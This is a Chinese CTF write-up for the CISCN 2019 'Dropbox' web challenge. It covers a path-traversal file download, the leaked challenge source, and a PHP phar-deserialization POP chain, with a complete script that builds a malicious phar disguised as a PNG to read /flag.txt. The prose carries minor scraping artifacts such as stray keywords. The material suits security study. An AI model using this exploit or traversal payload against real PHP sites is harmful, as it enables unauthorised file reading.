CISCN2019_华北赛区_Day1_Web1-Dropbox

时间 2020-10-23

标签 php html mysql web sql 服务器函数 fetch this code 栏目 HTML 繁體版

原文原文链接

好长时间没作web了，web狗太难了

首先得反省一下，我居然将近三天没作web题目了，这这这仍是一个web狗应该作的吗？反思一下呜呜呜。。。php

phar反序列化

什么是phar反序列化呢？html

下面的文章可能会有点帮助来自jianshumysql

按照个人理解来讲呢，就是把危险的文件上传到服务器？而后借助某些功能与危险函数实现危险的操做，太笼统了。具体来讲呢就是php文件系统中很大一部分的函数在经过phar://解析时，存在着对meta-data（在这里<meta-data>区域面搞反序列化的pop链）反序列化的操做。web

具体实现的实例以下所示

<?php
/**上面的这里写pop链*/



/**下面的东西通常是不变的*/
$phar = new Phar("7.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php__HALT_COMPILER(); ?>");
$phar->setMetadata($exception);   //set-metadata参数会变
$phar->stopBuffering();
?>

回归正题，题解以下

下午好，web狗。
终于清理掉这个老顽固了。sql

先分析源代码找出pop链，代码怎么找？服务器

0x01 任意文件下载

注册登陆后，有个上传文件的地方，上传过图片后能够删除或者下载，而后就想着多是文件上传漏洞，开始我还觉得要上传图片马。。函数

这里的这个任意文件下载->先用burp抓包，修改其中的filename字段就能够了，改成../../index.php下载主页代码。其余代码相似也能下载，这信息收集真的难顶，收集能收集10分钟，我丢。fetch

利用的类都在class.php文件里面，下面是class文件的内容this

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

其中利用的重中之重是下面的部分代码code

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function __destruct() {
        $this->db->close();           //2
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;
    
    public function close() {
        return file_get_contents($this->filename);      //1
    }
}
?>

生成phar文件

用下面的脚本生成一个phar的文件，菜狗痛枯。贼鸡儿麻烦啊。

<?php
class User {
    public $db;
}
class File {
    public $filename;
}
class FileList {
    private $files;
    public function __construct() {
        $file = new File();
        $file->filename = "/flag.txt";
        $this->files = array($file);
    }
}

$a = new User();
$a->db = new FileList();

$phar = new Phar("7.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
//签名自动计算
$phar->stopBuffering();
?>

分析一下pop链

首先是建立一个user类的对象$a，而后将$a的db属性实例化为FileList对象。FileList里的$file属性实例化为File对象,利用filename属性读取flag.txt文件,最后用$this->files = array($file);负责输出flag。

她的各类方法的调用顺序为，首先$a的db属性实例化为FileList对象，这样当$a对象被销毁时就会触发__call()函数(由于db实例化为对象了，而filelist类里面没有close()方法，故会触发__call()方法)。第二是为使close方法里面获取的文件为flag，就要让$this->filename=flag文件，就在filelist类里面写入了file属性=file对象，而且该对象的filename属性为/flag.txt也就是咱们的文件。如今flag已经在file对象里面了，而后咱们再借用一下filelist类的__call()方法，把flag.txt打入results里面，最后经过析构函数将results打入result，而后入table，最后将table属性echo出来，实现读取文件。

生成phar文件

想生成phar文件要先把只读属性给关掉，以下图所示
，而后生成phar文件以后上传（要先改后缀名为png）。

上传成功后打开bp，删除文件时改包名为phar://7.png，成功获取flag如图

总结

向本身不熟悉的方向发起挑战，虽然开始会有些困难，可是坚持下去就能得到快乐，嘿嘿。

月上柳梢头，人约黄昏后。